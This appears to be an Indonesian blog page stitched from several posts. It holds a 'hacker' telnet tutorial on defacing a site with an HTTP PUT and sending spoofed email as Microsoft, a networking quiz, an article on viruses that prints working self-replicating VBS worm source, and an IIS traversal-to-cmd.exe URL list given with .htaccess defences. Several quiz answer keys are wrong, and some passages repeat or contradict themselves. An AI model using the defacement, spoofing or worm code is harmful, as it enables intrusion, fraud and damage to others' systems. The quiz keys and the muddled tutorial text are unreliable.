Menggunakan Microsoft Telnet
1. Mengenal Microsoft Telnet
Microsoft telnet adalah program bawaan dari windows. Program ini berguna untuk mengakses ke web, untuk keperluan upload data, dll. Tapi program ini justru dimanfaatkan oleh hacker-hacker seperti kita. Program ini fungsinya sama dengan NetCat. Disini saya menyertakan program netcat agar anda tidak bingung. Program netcat, adalah program yang pualing sering digunakan oleh hacker.
2. Menggunakan Netcat Untuk keperluan Upload data
Seperti pada tujuannya, bahwa netcat berfungsi untuk keperluan upload data ke web. Sekarang kita akan mencoba meng-upload data ke-web dengan netcat. Halaman utama biasanya adalah : index.htm atau index.html bukan? Nah coba bayangkan jika halaman itu diganti oleh kita? Pasti web akan dideface oleh kita bukan?
Nah ini cara menggunakan telnetnya.
Pertama,
Klik Start, Run. Ketikan telnet.exe
Setelah muncul maka ketikan
Code:
Welcome to Telnet Client
Escape Character is 'CTRL + ]'
Microsoft Telnet > [b]o www.namaweb.com 80
PUT /index.html HTTP/1.1
Host:www.namaweb.com
Content-Legth: 23
[i](enter)
(enter)[/i][/b]
Penjelasan Kode:
Kata yang dicetak tebal : Kita mengetiknya
Kata yang dicetak miring & tebal : kita menekan tombolnya
Kode : o www.namaweb.com 80 berarti perintah untuk telnet membuka www.namaweb.com dengan port 80. Port 80 adalah port untuk akses upload file. Anda tidak harus selalu menggunakan port 80. Anda bisa menggunakan akses port darurat, jika port 80 tertutup. Misal 123 atau 123456.
3. Menggunakan Telnet Untuk mengirim e-mail palsu!!
Saat anda menerima e-mail dari seseorang, janganlah langsung percaya. Misalkan, anda mendapat e-mail dari billgates. dengan alamat e-mail : bgates@microsoft.com, yang mengirimkan anda e-mail Tanpa alasan jelas. Sebenarnya itu adalah ulah hacker-hacker bocah. Cara ini sangat gampang!! bayi pun bisa .
Caranya,
Pertama,
Klik Start, Run. Ketikan telnet.exe
Setelah muncul maka ketikan
Code:
Welcome to Telnet Client
Escape Character is 'CTRL + ]'
Microsoft Telnet > [b]o web40609.mail.yahoo.com 80[/b]
[b]EHLO
MAIL FROM:bgates@microsoft.com
RCPT TO:you.domain.com
Hello, i'm gates
[i](enter)[/i].[i]
(enter)[/i][/b]
Penjelasan Kode:
Kata yang dicetak tebal : Kita mengetiknya
Kata yang dicetak miring & tebal : kita menekan tombolnya
Kode : o web40609.mail.yahoo.com 25 kode diatas untuk membuka SMTP pada web. anda bisa mengganti SMTP dengan alamat lain yang diinstall SMTP. Kali ini saya menggunakan SMTP yahoo. Port 25 adalah port untuk mengakses SMTP.
sumber : http://herdy1922.blogspot.com/2007/05/menggunakan-microsoft-telnet.html
Selasa, 08 Maret 2011
Menggunakan Microsoft Telnet
Sabtu, 26 Februari 2011
Senin, 26 Januari 2009
Soal 1 – Jaringan Lan an Wifi
1. Ciri-ciri jaringan komputer adalah sebagai berikut ini, kecuali….
a. Berbagi pakai perangkat keras (hardware)
b. Berbagi pakai perangkat lunak (software)
c. Berbagi user (brainware)
d. Berbagi saluran komunikasi (internet)
e. Berbagi data dengan mudah.
Jawaban :c. Berbagi user (brainware)
2. Setiap komputer yang terhubung ke jaringan dapat bertindak baik sebagai workstation maupun server disebut jaringan …
a. Peer to peer
b. Client and server
c. Local Area Network
d. Bus
e. Tree
Jawaban :a. Peer to peer
3. Salah satu tipe jaringan komputer yang umum dijumpai adalah….
a. Star
b. Bus
c. WAN
d. Wireless
e. Client-server
Jawaban :e. Client-server
4. … adalah sebuah perangkat untuk meneruskan Internet ke client yang terhubung dengan server.
a. Proxy
b. Switch
c. Router
d. Gateway
e. Gatekeeper
Jawaban :b. Switch
5. Skema desain pembangunan sebuah jaringan komputer dikenal dengan istilah….
a. Tipe
b. Topologi
c. Geografi
d. Skalabilitas
e. Media transmisi
Jawaban :b. Topologi
6. Berikut ini jenis topologi jaringan komputer, kecuali ….
a. Star
b. Bus
c. Ring
d. Mesh
e. Three
Jawaban :e. Three
7. Salah satu keuntungan jaringan komputer menggunakan topologi bus adalah ….
a. Deteksi dan isolasi kesalahan sangat kecil
b. Kepadatan lalu lintas pada jalur utama
c. Diperlukan repeater untuk jarak jauh
d. Lay out kabel kompleks
e. Pengembangan jaringan atau penambahan workstation baru dapat dilakukan dengan mudah tanpa menggangu workstation lain.
Jawaban :d. Lay out kabel kompleks
8. Kombinasi pengkabelan straight pada jaringan komputer yang sesuai dengan standart internasional adalah ….
a. White orange – orange - white green – blue - white blue - green – white brown - brown
b. White orange – orange - white green – green - white blue - blue – white brown - brown
c. White green – green - white orange – blue - white blue - orange – white brown - brown
d. White orange – orange - white green - green - white blue - blue – white brown - brown
e. Orange – white orange – green – white green - white blue - blue – white brown - brown
Jawaban :a. White orange – orange - white green – blue - white blue - green – white brown - brown
9. IP Address 126.46.5.6 termasuk dalam IP Address kelas ….
a. A
b. B
c. C
d. D
e. E
Jawaban :a. A
10. Software utiliti yang bekerja pada komputer dan didesain untuk memberikan IP Address ke komputer disebut ….
a. DNS
b. Gateway
c. Protokol
d. DHCP
e. Ipconfig
Jawaban :b. Gateway
11. Perintah “PING” pada jaringan digunakan untuk hal-hal yang berikut ini, kecuali …
a. Menguji fungsi kirim sebuah NIC
b. Menguji fungsi terima sebuah NIC
c. Menguji kesesuaian sebuah NIC
d. Menguji konfigurasi TCP/IP
e. Menguji koneksi jaringan
Jawaban :c. Menguji kesesuaian sebuah NIC
12. Untuk melihat indikasi pada konfigurasi IP yang terpasang pada komputer kita digunakan perintah ….
a. Ping
b. IPConfig
c. Tracert
d. Traceroute
e. Nslookup
Jawaban :b. IPConfig
13. Tipe file yang digunakan oleh linux secara umum adalah ….
a. INF
b. FAT
c. NTFS
d. EXT3
e. FAT32
Jawaban :d. EXT3
14. Umumnya apabila kita memiliki RAM sebesar 128 MB, maka alokasi minimal yang direkomendasikan untuk partisi linux swap adalah ….
a. 0 MB
b. 64 MB
c. 128 MB
d. 256 MB
e. 512 MB
Jawaban :b. 64 MB
15. Untuk mengubah urut-urutan booting sebelum melakukan instalasi sistem operasi, kita harus melakukan setting pada ….
a. BIOS
b. Kernel
c. TCP/IP
d. Windows
e. IP address
Jawaban :a. BIOS
16. Pembagian ruang dalam sebuah hardisk diistilahkan dengan ….
a. Divisi
b. Partisi
c. Kernel
d. File system
e. Sistem Operasi
Jawaban :a. Divisi
17. Kemampuan sistem operasi untuk menjalankan berbagai perintah dalam waktu bersamaan disebut ….
a. Multi user
b. Pipelining
c. Threading
d. Multitasking
e. Management
Jawaban :d. Multitasking
18. Inti sebuah sistem operasi disebut ….
a. Core
b. Linux
c. Kernel
d. Compiler
e. Windows
Jawaban :a. Core
19. Sistem yang bertugas mengatur semua perangkat lunak dan keras dalam sebuah komputer sehingga dapat digunakan oleh user disebut sebagai ….
a. Sistem Operasi
b. Sistem Komputer
c. Sistem Manajemen
d. Sistem Pengaturan
e. Sistem Operasional
Jawaban :a. Sistem Operasi
20. Berapa kecepatan akses data pada access point yang memiliki standar kode IEEE 802.11g ….
a. 11Mb/s
b. 54Mb/s
c. 108Mb/s
d. 216Mb/s
e. 432Mb/s
Jawaban :b. 54Mb/s
21. Berapa kecepatan akses data pada access point yang memiliki standar kode IEEE 802.11b ….
a. 11Mb/s
b. 54Mb/s
c. 108Mb/s
d. 216Mb/s
e. 432Mb/s
Jawaban :a. 11Mb/s
22. Berapa frekuensi antena pada sebuah access point (WiFi)….
a. 2.4Ghz
b. 3.1Ghz
c. 1.9Ghz
d. 5.2Ghz
e. 4.2Ghz
Jawaban :a. 2.4Ghz
23. Teks perintah untuk melihat tabel routing pada Windows adalah ….
a. route –n
b. route –a
c. route PRINT
d. route –D
e. route -t
Jawaban :c. route PRINT
24. Teks perintah untuk memeriksa IP address yang kita miliki di Linux adalah ….
a. config
b. setconfig
c. read config
d. ipconfig
e. ifconfig
Jawaban :e. ifconfig
25. Teks perintah untuk memeriksa IP address yang kita miliki di Windows adalah …
a. config
b. setconfig
c. read config
d. ipconfig
e. ifconfig
Jawaban :d. ipconfig
26. Teks perintah untuk memeriksa apakah koneksi jaringan kita sudah terhubung ke depdiknas.org adalah ….
a. ls depdiknas.org
b. vi depdiknas.org
c. cp depdiknas.org
d. ping depdiknas.org
e. install depdiknas.org
Jawaban :d. ping depdiknas.org
27. Salah satu aplikasi proxy server di sistem operasi Linux adalah ….
a. Squid
b. Postfix
c. Squirrel
d. Apache
e. Postgres
Jawaban :c. Squirrel
28. Perangkat yang berfungsi mengatur pemilihan jalur terbaik untuk dilewati paket data dikenal sebagai ….
a. Switch
b. Router
c. Web server
d. Proxy server
e. Name server
Jawaban :d. Proxy server
29. Komputer yang bertugas menyimpan informasi halaman web yang pernah diakses sebelumnya adalah ….
a. Router
b. Web server
c. Proxy server
d. Name server
e. Database server
Jawaban :d. Proxy server
30. Perangkat yang berfungsi sebagai repeater dan sekaligus concentrator dalam sebuah jaringan komputer adalah ….
a. Hub/Switch
b. Server
c. Router
d. Kabel UTP
e. Connector
Jawaban :c. Router
31. Antar muka yang bertugas menerjemahkan satuan informasi terkecil di layer fisik adalah ….
a. NIC/Lan Card
b. USB
c. RJ 45
d. Firewire
e. Kabel UTP
Jawaban :a. NIC/Lan Card
32. 192.168.0.10 merupakan contoh pemberian alamat pada sebuah komputer yang akan dihubungkan dalam sebuah jaringan. Angka-angka tersebut dikenal dengan ….
a. TCP/IP
b. Domain
c. Protokol
d. IP Address
e. Konfigurasi
Jawaban :d. IP Address
33. Satuan informasi terkecil yang dikenal dalam komunikasi data adalah ….
a. Bit
b. Byte
c. Label
d. Packet
e. Segment
Jawaban :a. Bit
34. IP Address yang menunjukkan nomor jaringan (identitas segmen) disebut dengan …
a. Net ID
b. Host ID
c. IP Broadcast
d. IP Public
e. IP Private
Jawaban :a. Net ID
35. Angka 32 bit yang digunakan untuk membedakan Net ID dan Host ID disebut …
a. Subnet Mask
b. Submask
c. IP Broadcast
d. IP Public
e. IP Private
Jawaban :a. Subnet Mask
36. Subnet mask yang digunakan jaringan kelas A adalah…
a. 255.255.255.0
b. 255.255.0.0
c. 255.0.0.0
d. 255.255.255.255
e. 10.0.0.1
Jawaban :c. 255.0.0.0
37. Penulisan IP Address 11000000.10101000.00000001.00001000 dalam bentuk desimal ditulis sebagai berikut ….
a. 192.168.1.8
b. 192.158.1.8
c. 191.168.1.8
d. 190.168.1.8
e. 192.169.1.8
Jawaban :a. 192.168.1.8
38. Penulisan IP Address 10.208.15.240 dalam bentuk binary ditulis sebagai berikut ….
a. 00001010.11010000.00001111.11111000
b. 00001010.11010000.00001111.11100000
c. 00001010.11010000.00001111.11110000
d. 00001010.11010000.00001111.11010000
e. 00001010.11010000.00001111.10110000
Jawaban :c. 00001010.11010000.00001111.11110000
39. Tata cara atau peraturan yang disepakati secara internasional agar sebuah komputer bisa berkomunikasi dengan komputer lainnya disebut ….
a. Proxy
b. Protocol
c. Prosedur
d. Proposal
e. Program
Jawaban :b. Protocol
40. Software utiliti yang bekerja pada komputer dan didesain untuk memberikan IP Address ke komputer disebut ….
a. DNS
b. Gateway
c. Protokol
d. DHCP
e. Ipconfig
Jawaban :d. DHCP
41. Suatu sistem yang memungkinkan nama suatu host pada jaringan komputer atau internet ditranslasikan menjadi IP address disebut ….
a. DNS
b. Gateway
c. Protokol
d. DHCP
e. Ipconfig
Jawaban :a. DNS
42. Untuk membuat berbagi pakai koneksi internet (internet connection sharing), minimal komputer yang diperlukan sebanyak ….
a. 1
b. 2
c. 3
d. 4
e. 5
Jawaban :b. 2
43. Dalam konfigurasi berbagi pakai koneksi internet (internet connection sharing), IP Address komputer client yang digunakan dimulai pada alamat …
a. 192.168.0.1
b. 192.168.0.2
c. 10.0.0.1
d. 127.0.0.1
e. 202.15.0.1
Jawaban :b. 192.168.0.2
44. Dalam konfigurasi berbagi pakai koneksi internet (internet connection sharing), komputer yang tersambung dengan internet akan berfungsi sebagai …
a. client
b. server / gateway
c. dump
d. switch
e. router
Jawaban :a. client
45. Istilah ttl dalam perintah ping dimaksudkan …
a. Time to loose
b. Time to live
c. Time to leave
d. Time to lost
e. Time to lie
Jawaban :d. Time to lost
46. Perintah untuk mengetahui jalur / rute suatu domain komputer / website mengguna-kan pada system operasi Ms.Windows XP adalah ………
a. ping
b. traceroute
c. tracert
d. ipconfig
e. ifconfig
Jawaban :d. ipconfig
47. Perintah untuk mengetahui jalur / rute suatu domain komputer / website mengguna-kan pada system Linux adalah ………
a. ping
b. traceroute
c. tracert
d. ipconfig
e. ifconfig
Jawaban :e. ifconfig
48. Direktory yang dipergunakan untuk menyimpan file-file penting yang digunakan untuk pemeliharaan system operasi linux adalah ………
a. /home
b. /ect
c. /tmp
d. /bin
e. /var
Jawaban :d. /bin
49. Untuk membuat direktori didalam system operasi linux digunakan perintah…
a. cat
b. cd
c. chmod
d. md
e. mkdir
Jawaban :e. mkdir
50. Yang bukan merupakan perintah mengakhiri linux adalah…
a. Shutdown –h now
b. Halt
c. Shutdown –r now
d. Reebot
e. Quit
Jawaban :e. Quit
Jawab Pertanyaan dibawah ini:
1. Jelaskan apa yang di maksud dengan:
a. Router : sebuah alat jaringan komputer yang mengirimkan paket data melalui sebuah jaringan atau Internet menuju tujuannya, melalui sebuah proses yang dikenal sebagai routing.
b. Switch/Hub : sebuah alat jaringan yang melakukan bridging transparan (penghubung segementasi banyak jaringan dengan forwarding berdasarkan alamat MAC).
Switch jaringan dapat digunakan sebagai penghubung komputer atau router pada satu area yang terbatas, switch juga bekerja pada lapisan data link, cara kerja switch hampir sama seperti bridge, tetapi switch memiliki sejumlah port sehingga sering dinamakan multi-port bridge.
c. Modem : Modem berasal dari singkatan MOdulator DEModulator. Modulator merupakan bagian yang mengubah sinyal informasi kedalam sinyal pembawa (Carrier) dan siap untuk dikirimkan, sedangkan Demodulator adalah bagian yang memisahkan sinyal informasi (yang berisi data atau pesan) dari sinyal pembawa (carrier) yang diterima sehingga informasi tersebut dapat diterima dengan baik. Modem merupakan penggabungan kedua-duanya, artinya modem adalah alat komunikasi dua arah. Setiap perangkat komunikasi jarak jauh dua-arah umumnya menggunakan bagian yang disebut "modem", seperti VSAT, Microwave Radio, dan lain sebagainya, namun umumnya istilah modem lebih dikenal sebagai Perangkat keras yang sering digunakan untuk komunikasi pada komputer.
d. Lan Card : perangkat utk menghubungkan jaringan internet bisa juga utk menghubungkan komputer 1 dg yg lainnya (membuat jaringan) yg menggunakan kabel UTP dg colokannya namanya Rj45e. IP Addressjawab:Alamat IP (Internet Protocol Address atau sering disingkat IP) adalah deretan angka biner antar 32-bit sampai 128-bit yang dipakai sebagai alamat identifikasi untuk tiap komputer host dalam jaringan Internet. Panjang dari angka ini adalah 32-bit (untuk IPv4 atau IP versi 4), dan 128-bit (untuk IPv6 atau IP versi 6) yang menunjukkan alamat dari komputer tersebut pada jaringan Internet berbasis TCP/IP.
e. IP Address : perangkat utk menghubungkan jaringan internet bisa juga utk menghubungkan komputer 1 dg yg lainnya (membuat jaringan) yg menggunakan kabel UTP dg colokannya namanya Rj45e. IP Addressjawab:Alamat IP (Internet Protocol Address atau sering disingkat IP) adalah deretan angka biner antar 32-bit sampai 128-bit yang dipakai sebagai alamat identifikasi untuk tiap komputer host dalam jaringan Internet. Panjang dari angka ini adalah 32-bit (untuk IPv4 atau IP versi 4), dan 128-bit (untuk IPv6 atau IP versi 6) yang menunjukkan alamat dari komputer tersebut pada jaringan Internet berbasis TCP/IP.
2. Sebutkan program-program yang berjalan di atas Sistem Operasi Windows yang berlicensi gratis (free licensi)! Minimal 10 : Sistem Operasi Windows berlisensi gratis
Modzilla Firefox
7 Zeep
Open Office
WinRaR
Adobe Reader 9.0
Foxit Reader 9.0
Java Rantime Environment
Net Framework
Direct X
ATI Catalyst Drivers.
3. Sebutkan macam-macam distro linux yang anda ketahui! Minimal 10 : Macam-macam Distro Linux
Xandros
Ubuntu
Kubuntu
Mandrake 10
Fedora Core 4
Lycoris
Knoppix 3.6
Simpty Mepis
Redhat 9
suSE
4. Sebutkan macam-macam virus yang belakangan ini menyerang sistem operasi Windows dan jelaskan dampak dari terkena virus tersebut! Macam-macam Virus
-Virus WormVirus yang membuat jaringan komputer menjadi lambat, membuat komputer menjadi crash, & membuat komputer sulit mengakses ke orang lain.
-Virus TrojanVirus yang membuat komputer dapat dikontrol oleh seseorang lewat internet.
-Virus SpywareVirus yang melambatkan komputer, & memakan resource yang ada di komputer.
-Virus BrontokVirus yang memperlambat komputer, menghilangkan menu folder options, memanipulasi setting folder options sehingga file hidden tidak dapat ditampilkan, & menyembunyikan ekstensifile pada windows Explorer.
-Virus Trojan Leader Virus yang menyerang apabila kita mendownload data dari internet. Virus ini akan menginjeksi file.dll ke internet explorer.exe yang menyebabkan ketidakstabilan sistem.
-Virus W32.Beagle.CO@mmVirus yang mengirimkan emailmassal terhadap situs yang mempunyai tingkat keamanan rendah. Virus ini dapat menghapus kunci-kunci registry dan bagian-bagiannya dan mungkin memblok akses ke jaringan keamanan website.
-Virus W32/zafi-BVirus yang menyerang peer to peer dan email virus akan dicopy dengan sendirinya pada sistem folder windows yang akan diberi nama otomatis secara acak.
-Virus W32/Mytab-ExVirus yang menyebarkan email massal dan Trojan IRC yang mirip dengan W32 Mytob-gh.32/mytob-ex terus-menerus di belakang layar, menyediakan pintu belakang bagi server untuk menjangkau komputer kain via IRC channel. Virus ini menyebar dengan sendirinya terutama kepada attachments email address.
-Virus Backdoor. ZagabanVirus Trojan yang satu ini menginjeksi komputer tertentu untuk digunakan sebagai tempat berlindung untuk merusak network atau jaringan terkait.
-Virus W32/Netsky-PVirus ini mampu menyebarkan email massal dengan sendirinya kepada alamat email yang diproduksi oleh suatu file pada PC/Local drive.
5. Sebutkan urut-urutan warna pada kabel lan untuk membuat sambungan Cross dan Straight! Standard kabel UTP :
Putih orange-orange, putih hijau-hijau, putih biru-biru, putih coklat-coklat
Kabel Straight :
Putih orange-orange, putih hijau-biru, putih biru-hijau, putih coklat-coklat
Kabel Cross :
Putih hijau-hijau, putih orange-biru, putih biru-orange, putih coklat-coklat
Rabu, 07 Januari 2009
Windows Server 2003 berhubungan dengan virus
Virus komputer
http://rudihd.files.wordpress.com/2007/03/virus_computer_monster.jpg Alamat Link Gambar
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus komputer umumnya dapat merusak perangkat lunak komputer dan tidak dapat secara langsung merusak perangkat keras komputer (terutama pada sistem operasi , seperti sistem operasi berbasis keluarga Windows (Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Servicepack 1, Windows XP Servicepack 2) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer (seperti CPU Time, penggunaan memori) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard). 2% lagi menyerang sistim operasi lain seperti FreeBSD, OS/2 IBM, dan Sun Operating System.
Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak antivirus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode untuk menghapus virus tersebut.
http://devry.files.wordpress.com/2007/07/computer_viruses.jpg Alamat link gambar
Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak ( misalnya : dengan merusak data pada dokumen ), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali.
Virus komputer umumnya dapat merusak perangkat lunak ( Software ) komputer dan tidak dapat secara langsung merusak perangkat keras ( Hardware ) komputer terutama pada sistem operasi , seperti sistem operasi berbasis Microsoft Windows ( Windows 95, Windows 98/98SE, Windows NT, Windows NT Server, Windows 2000, Windows 2000 Server, Windows 2003, Windows 2003 Server, Windows XP Home Edition, Windows XP Professional, Windows XP Service Pack 1, Windows XP Service Pack 2 ) bahkan GNU/Linux. Efek negatif virus komputer terutama adalah perbanyakan dirinya sendiri, yang membuat sumber daya pada komputer ( seperti : CPU Time, penggunaan memori ) menjadi berkurang secara signifikan. Hampir 95% Virus adalah virus komputer berbasis sistim operasi Windows. Sisanya, 2% menyerang Linux/GNU (dan Unix, sebagai source dari Linux, tentunya), 1% menyerang Mac terutama Mac OS 9, Mac OS X (Tiger, Leopard), 2% lagi menyerang sistim operasi Unix, seperti : FreeBSD dan Sun Solaris.
Serangan virus dapat dicegah atau ditanggulangi dengan menggunakan perangkat lunak Anti Virus. Jenis perangkat lunak ini dapat juga mendeteksi dan menghapus virus komputer, asalkan basis data ( Database ) virus komputer yang dimiliki oleh perangkat lunak antivirus telah mengandung kode program untuk menghapus virus tersebut.
Untuk mengetahui sejarah adanya virus komputer, kamu dapat membaca di Sejarah Perkembangan Malware Dunia ( Jadi ngga cuma di sekolah aja belajar sejarah ya! ). Selain itu, untuk lebih memahami virus-virus lokal seperti : Brontok dan variannya, kamu bisa membacanya di sini. Beberapa triks untuk mengatasi serangan virus, dapat dilihat juga di tutorial cara mengatasi virus.
Supaya tahu lebih jauh tentang virus komputer, virus komputer dapat dibuat dengan bahasa pemrograman komputer, seperti : Visual Basic, Visual C++, VBS, JS, DOS Command, dan bahasa pemrograman lainnya. Sebagai contoh source code virus sederhana dengan menggunakan VBS, dapat dilihat pada Virus Readme dengan source code berikut :
‘VOVAN//SMF Readme.a
Set A=CreateObject(”Scripting.FileSystemObject”)
Set B=CreateObject(”WScript.Shell”)
B.RegWrite “HKEY_CLASSES_ROOT\VBSFile\DefaultIcon”,”shell32.dll,-152″
Set C=A.Drives
For Each Drive In C
If Drive.DriveType=2 Or Drive.DriveType=3 Then Onward Drive.Path &”\”
Next
Function Onward(D)
Set E=A.GetFolder(D)
Set F=E.SubFolders
For Each G In F
A.CopyFile Wscript.ScriptFullName, G&”\Readme.vbs”
Onward(G)
Next
End Function
Dengan demikian, dapat diketahui bahwa virus komputer merupakan kode program yang disalahgunakan oleh programmer pembuat-nya, baik untuk kepentingan pribadi maupun untuk kepentingan lainnya, sehingga menimbulkan keresahan bagi pengguna komputer lain. Nah kalau begitu, kesimpulannya kembali ke tanggung jawab moral masing-masing dech!
Tips: Mengurangi Traffic Web Server Akibat Virus/Worm
13.11.03 - xty - Gen_Art
Seringkali disebutkan dalam banyak artikel bahwa keamanan web server Microsoft IIS dijadikan bulan-bulanan virus/worm, seperti CodeRed dan Nimda, yang sering mengakibatkan kerusakan yang cukup serius atau fatal. Ada banyak artikel yang menjelaskan bagaimana menutup lubang keamanan dan cara-cara mencegah kerusakan di kemudian hari.
Beberapa web server lain dijadikan alternatif antara lain Apache, yang notabene merupakan web server yang paling banyak digunakan, menurut data Netcraft. Memang dengan menggunakan web server Apache, kerusakan yang diakibatkan oleh virus/worm tersebut bisa ditekan atau bisa dikatakan tidak berdampak langsung. Namun perlu diperhatikan bahwa memang virus/worm tersebut tidak menyerang lubang keamanan, tapi dapat juga mengakibatkan kerusakan atau paling tidak membebani kerja web server.
Hal ini antara lain dengan mebludaknya ukuran log file oleh sampah akibat serangan2 virus/worm. Ada kasus dimana terdapat sekitar 20000 entri dalam log selama 2 hari yang hanya diakibatkan karena aktivitas virus/worm dalam jaringan/Internet.
Web server menjadi sangat sibuk dan berat. Ini terlebih-lebih jika situs yang bersangkutan menggunakan halaman error 404 khusus (not found). Ini berarti setiap ada akses yang diakibatkan oleh virus/worm ke situs tersebut, halaman error 404 akan ditampilkan. Bayangkan jika halaman tersebut berukuran besar. Ini akan menambah traffic web server secara percuma.
Setelah melakukan riset pada log file Apache dan melihat banyaknya akses ke halaman error 404 tersebut (yang ikut menambah traffic web server) yang diakibatkan oleh virus/worm, ada cara untuk mengurangi traffic akibat serangan ini.
Sebagai contoh, di bawah ini diambil dari log file, berisi URL yang sering diakses oleh virus/worm. Nampak jelas bahwa sebetulnya ini dibuat dalam rangka menyerang web server IIS.
/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c/winnt/system32/cmd.exe
/d/winnt/system32/cmd.exe
/scripts/..%2f../winnt/system32/cmd.exe
/scripts/..%c1%9c../winnt/system32/cmd.exe
/scripts/..%%35%63../winnt/system32/cmd.exe
/scripts/ .%%35c../winnt/system32/cmd.exe
/scripts/..%c0%2f../winnt/system32/cmd.exe
/scripts/..%c0%af../winnt/system32/cmd.exe
/MSADC/root.exe
Pada web server Apache ada satu fitur yaitu file .htaccess, yang berperan untuk mengontrol akses ke suatu situs. File ini sangat berguna jika digunakan secara benar, namun bisa berakibat fatal jika ada kesalahan pengisian, antara lain situs tidak dapat diakses sama sekali.
Buat terlebih dahulu file .htaccess (file teks) atau tambahkan script di bawah ini ke dalam file .htaccess jika situs anda sudah terdapat file .htaccess yang terdapat di direktori utama (root) situs anda.
redirect /scripts http://www.to.the.black.hole
redirect /MSOffice http://www.to.the.black.hole
redirect /_vti_bin http://www.to.the.black.hole
redirect /MSADC http://www.to.the.black.hole
redirect /msadc http://www.to.the.black.hole
redirect /_mem_bin http://www.to.the.black.hole
Script ini akan mencegah web server mengembalikan halaman error 404 dan menambahkan entry ke log file dengan cara membelokkan akses ke URL tertentu yang sebetulnya tidak valid. Dengan demikian traffic web server dapat diminimalkan yang berdampak beban web server menjadi lebih ringan.
Trouble-Shooting - Windows Bebas Masalah
Tim reparasi telah datang. CHIP mencoba menutup kelemahan pemrograman yang berbahaya dan menyingkirkan kesalahan yang mengganggu dalam sistem operasi Anda.
Lebih mudah, lebih cepat, dan lebih hemat biaya. Patokan dasar untuk mencari solusi ini juga berlaku bagi Microsoft. Bagian kontrol kualitas melakukan penghematan. Pemrogram lihai dari berbagai negeri antah-berantah masuk menyingkirkan para konsultan yang mahal. Kode-kode mereka kemudian digabungkan dengan program utama di Redmond secara cepat melalui Copy & Paste. Namun, kurangnya kecermatan dapat menyebabkan system-crash, gagal berfungsi, dan menayangkan bluescreen di PC pengguna.
Lebih mudah, lebih cepat, dan lebih hemat biaya. Patokan dasar untuk mencari solusi ini juga berlaku bagi Microsoft. Bagian kontrol kualitas melakukan penghematan. Pemrogram lihai dari berbagai negeri antah-berantah masuk menyingkirkan para konsultan yang mahal. Kode-kode mereka kemudian digabungkan dengan program utama di Redmond secara cepat melalui Copy & Paste. Namun, kurangnya kecermatan dapat menyebabkan system-crash, gagal berfungsi, dan menayangkan bluescreen di PC pengguna.
Di sini para pakar rekrutan CHIP berperan. Tanpa kenal lelah mereka menyisir Whitepaper pengembang Windows dan menyelami Microsoft Knowledge Base serta sumber-sumber lainnya untuk melacak bug-bug yang berbahaya. Ikut lah dengan kami ke sudut terdalam sistem operasi Anda dan bebaskan Windows XP dari kesalahan program yang mengganggu dan berbahaya.
1. Update menyebabkan crash
Windows-patch yang cacat atau rusak menyebabkan bluescreen. Biasanya keterangannya dimulai dengan kata-kata 'STOP: 0x800….' yang membingungkan. Di sini tool gratis 'Qfecheck' dari Microsoft dapat membantu. Ia dapat mengidentifikasi penyebabnya dan menunjukkan sebuah artikel dalam Microsoft Knowledge Base yang menjelaskan bug tersebut secara rinci. 
Untuk memperoleh tool Qfecheck, masuk ke website Microsoft dan ketikkan kode berikut ke dalam kolom Search di kanan atas. (282784)
Anda akan mendapatkan link untuk men-download 'Qfecheck.exe'. Perhatikan, tersedia versi yang berbeda untuk Windows XP dan 2000. Jangan salah men-download. Setelah download selesai, klik 'Start | Run' dan masuk ke command prompt dengan perintah berikut. (cmd)
Selanjutnya, ketikkan perintah berikut untuk memeriksa hotfix dan update yang terdapat pada sistem Windows Anda. (qfecheck•/v)
Ketika tool menemukan update yang rusak atau berisi bug, Anda akan diberi petunjuk 'This hotfix should be reinstalled'. Di depannya ada sebuah kode, misalnya 'KB8884883'. Bila Anda memasukkan kode ini ke dalam kolom Search di website Microsoft, Anda akan sampai ke sebuah artikel dalam Knowledge Base mengenai fungsi yang bersangkutan, penyebab kesalahan, dan solusi masalahnya.
2. Kesalahan 'Generic Host Process'
Bila tool Qfecheck tidak menemukan update yang berisi bug, tidak berarti semuanya baik-baik saja. Bahkan, setelah melakukan instalasi security-update 'KB873333' dengan benar sesuai petunjuk Microsoft dalam Security Bulletin MS-05-012, Windows malah crash dengan laporan 'Generic Host Process telah menyebabkan sebuah kesalahan'. Solusinya adalah sebuah patch yang memperbaiki bagian yang bersangkutan.
Untuk menemukan Windows-Update yang tepat, masukkan kode berikut ke dalam kolom Search di website Microsoft. (kb894391)
Download 'Update for Windows XP' yang ditampilkan. Setelah instalasi, biasanya laporan kesalahan tidak lagi muncul. Selain itu, patch yang diberikan ini juga menambahkan perlindungan dari serangan hacker.
3. Nero 6 membakar terlalu lambat
Akibat adanya bug dalam SP2 untuk Windows XP, tool 'InCD' dalam paket Nero 6 membakar DVD dual-layer jauh lebih lambat dibandingkan program lainnya. Kesalahan ini timbul pada semua versi hingga versi 4.3.7.3. Sebuah patch dari Nero menawarkan solusinya. 
